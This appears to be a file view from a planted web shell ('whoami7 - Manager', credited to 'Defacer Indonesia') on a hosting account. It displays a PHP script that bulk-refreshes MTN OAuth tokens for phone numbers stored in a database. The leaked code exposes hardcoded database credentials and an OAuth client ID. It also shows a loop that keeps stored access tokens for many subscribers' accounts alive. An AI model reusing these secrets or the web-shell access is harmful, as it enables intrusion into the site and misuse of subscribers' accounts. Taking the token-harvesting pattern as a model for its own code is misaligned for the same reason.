whoami7 - Manager
:
/
home
/
simspala
/
yoursimzone.com
/
Upload File:
files >> /home/simspala/yoursimzone.com/autorestore.php
<?php declare(strict_types=1); // ---------------------- Constants ---------------------- define('CLIENT_ID', 'WO5BbTyEWLSFvFPw5TsYoioTQqcq8Mq3'); define('MTN_TOKEN_URL', 'https://auth.mtnonline.com/oauth/token'); define('CHUNK_SIZE', 50); define('REFRESH_INTERVAL', 300); // 5 minutes while (true) { echo "\n==================== STARTING REFRESH ====================\n"; $now = time(); $threshold = $now + (45 * 60); // 45 minutes from now $successful = 0; $failed = 0; $errorMessages = []; $startFromId = 1; // ---------------------- DB Connection ---------------------- $dsn = 'mysql:host=localhost;dbname=simspala_yoursim;charset=utf8mb4'; $dbUser = 'simspala_yoursim'; $dbPass = 'simspala_yoursim'; try { $pdo = new PDO($dsn, $dbUser, $dbPass, [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, ]); } catch (PDOException $e) { fwrite(STDERR, "❌ Database connection failed: {$e->getMessage()}\n"); sleep(REFRESH_INTERVAL); continue; } $stmt = $pdo->query("SELECT * FROM servers WHERE ( (expired_at IS NULL OR expired_at BETWEEN FROM_UNIXTIME($now) AND FROM_UNIXTIME($threshold) OR expired_at < FROM_UNIXTIME($now)) AND id >= $startFromId )"); $servers = $stmt->fetchAll(); if (empty($servers)) { echo "✅ No servers to refresh.\n"; sleep(REFRESH_INTERVAL); continue; } foreach (array_chunk($servers, CHUNK_SIZE) as $chunk) { $multi = curl_multi_init(); $handles = []; foreach ($chunk as $srv) { $postFields = http_build_query([ 'grant_type' => 'refresh_token', 'client_id' => CLIENT_ID, 'refresh_token' => $srv['refresh_token'], ]); $ch = curl_init(MTN_TOKEN_URL); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $postFields, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSLVERSION => CURL_SSLVERSION_TLSv1_2, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'], ]); $handles[$srv['id']] = $ch; curl_multi_add_handle($multi, $ch); } do { curl_multi_exec($multi, $running); curl_multi_select($multi, 1.0); } while ($running > 0); $handledIds = []; foreach ($chunk as $srv) { $id = (int) $srv['id']; $phone = $srv['phone_number']; $attempts = (int) $srv['attempts']; $ch = $handles[$id]; $raw = curl_multi_getcontent($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_multi_remove_handle($multi, $ch); curl_close($ch); $handledIds[] = $id; $json = json_decode($raw, true) ?? []; if ($httpCode === 200 && isset($json['access_token'])) { $accessToken = $json['access_token']; $jwtParts = explode('.', $accessToken); if (count($jwtParts) === 3) { $payload = json_decode(base64url_decode($jwtParts[1]), true); $expiryTimestamp = $payload['exp'] ?? ($now + 12 * 3600); $pdo->prepare("UPDATE servers SET server_token = :tok, expired_at = :exp, server_on = 1, attempts = 0 WHERE id = :id")->execute([ ':tok' => $accessToken, ':exp' => date('Y-m-d H:i:s', (int) $expiryTimestamp), ':id' => $id, ]); $successful++; echo "✅ Refreshed: {$phone}\n"; } else { handleFailure($pdo, (int)$id, $phone, ++$attempts, 'Invalid token structure'); } } else { $message = $json['message'] ?? $json['data']['notification'] ?? 'Unknown error'; handleFailure($pdo, (int)$id, $phone, ++$attempts, $message); } } curl_multi_close($multi); // --------- Handle Missed Servers (Fallback) ---------- $processedIds = array_column($chunk, 'id'); $missed = array_diff($processedIds, $handledIds); foreach ($missed as $missedId) { $srv = array_filter($chunk, fn($s) => $s['id'] == $missedId); if (!$srv) continue; $srv = array_values($srv)[0]; $postFields = http_build_query([ 'grant_type' => 'refresh_token', 'client_id' => CLIENT_ID, 'refresh_token' => $srv['refresh_token'], ]); $ch = curl_init(MTN_TOKEN_URL); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $postFields, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_SSLVERSION => CURL_SSLVERSION_TLSv1_2, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'], ]); $raw = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); file_put_contents( __DIR__ . '/mtn_refresh_raw.log', "\n============================\n" . "[" . date("Y-m-d H:i:s") . "]\n" . "SERVER ID: {$id}\n" . "PHONE: {$phone}\n" . "HTTP CODE: {$httpCode}\n" . "RAW RESPONSE:\n{$raw}\n", FILE_APPEND ); $json = json_decode($raw, true) ?? []; $id = (int) $srv['id']; $phone = $srv['phone_number']; $attempts = (int) $srv['attempts']; if ($httpCode === 200 && isset($json['access_token'])) { $accessToken = $json['access_token']; $jwtParts = explode('.', $accessToken); if (count($jwtParts) === 3) { $payload = json_decode(base64url_decode($jwtParts[1]), true); $expiryTimestamp = $payload['exp'] ?? ($now + 12 * 3600); $pdo->prepare("UPDATE servers SET server_token = :tok, expired_at = :exp, server_on = 1, attempts = 0 WHERE id = :id")->execute([ ':tok' => $accessToken, ':exp' => date('Y-m-d H:i:s', (int) $expiryTimestamp), ':id' => $id, ]); $successful++; echo "✅ Fallback Refreshed: {$phone}\n"; } else { handleFailure($pdo, (int)$id, $phone, ++$attempts, 'Fallback: Invalid token structure'); } } else { $message = $json['message'] ?? $json['data']['notification'] ?? 'Fallback: Unknown error'; handleFailure($pdo, (int)$id, $phone, ++$attempts, $message); } } } echo "---------------------------------------------\n"; echo "✅ {$successful} servers refreshed this cycle\n"; if ($failed > 0) { echo "❌ {$failed} failed\n"; foreach (array_slice($errorMessages, 0, 5) as $err) { echo " • {$err}\n"; } if ($failed > 5) echo " …and more not shown.\n"; } echo "🕒 Sleeping for " . REFRESH_INTERVAL . " seconds...\n"; sleep(REFRESH_INTERVAL); } /* ---------------- Helper Functions ---------------- */ function base64url_decode(string $input): string { $remainder = strlen($input) % 4; if ($remainder) { $input .= str_repeat('=', 4 - $remainder); } return base64_decode(strtr($input, '-_', '+/')); } function handleFailure(PDO $pdo, int $id, string $phone, int $attempts, string $errorMsg): void { global $failed, $errorMessages; if ($attempts >= 5) { $pdo->prepare("UPDATE servers SET attempts = :att, server_on = 0 WHERE id = :id")->execute([':att' => $attempts, ':id' => $id]); $errorMsg .= ' (Server disabled after 5 failed attempts)'; } else { $pdo->prepare("UPDATE servers SET attempts = :att WHERE id = :id") ->execute([':att' => $attempts, ':id' => $id]); } $failed++; $errorMessages[] = "{$phone}: {$errorMsg}"; // 🔄 Replace STDERR with file logging file_put_contents(__DIR__ . '/restore_errors.log', "[" . date("Y-m-d H:i:s") . "] Failed for {$phone}: {$errorMsg}\n", FILE_APPEND); }
Copyright ©2021 || Defacer Indonesia